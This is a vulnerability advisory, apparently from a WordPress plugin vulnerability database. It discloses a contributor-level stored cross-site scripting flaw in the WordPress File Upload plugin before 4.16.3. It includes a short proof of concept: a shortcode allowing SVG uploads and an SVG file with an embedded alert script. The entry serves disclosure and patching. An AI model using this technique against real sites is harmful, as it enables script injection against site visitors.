WordPress Plugin Vulnerabilities
WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Malicious SVG
Description
The plugin allows users with a role as low as Contributor to configure the upload form in a way that allows uploading of SVG files, which could be then be used for Cross-Site Scripting attacks
Proof of Concept
1. As a contributor (or above) add the following shortcode to a post: [wordpress_file_upload uploadpatterns="*.svg"] 2. Preview/view the post and upload the following xss.svg file <svg xmlns:svg="http://www.w3.org/2000/svg"><svg:script>alert(/XSS/)</svg:script></svg> 3. Go to /wp-content/uploads/xss.svg to trigger the XSS
Affects Plugins
Fixed in version 4.16.3
Fixed in version 4.16.3
References
Classification
Type
UPLOAD
CWE
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
Timeline
Publicly Published
2022-02-14 (about 1 years ago)
Added
2022-02-14 (about 1 years ago)
Last Updated
2022-04-08 (about 11 months ago)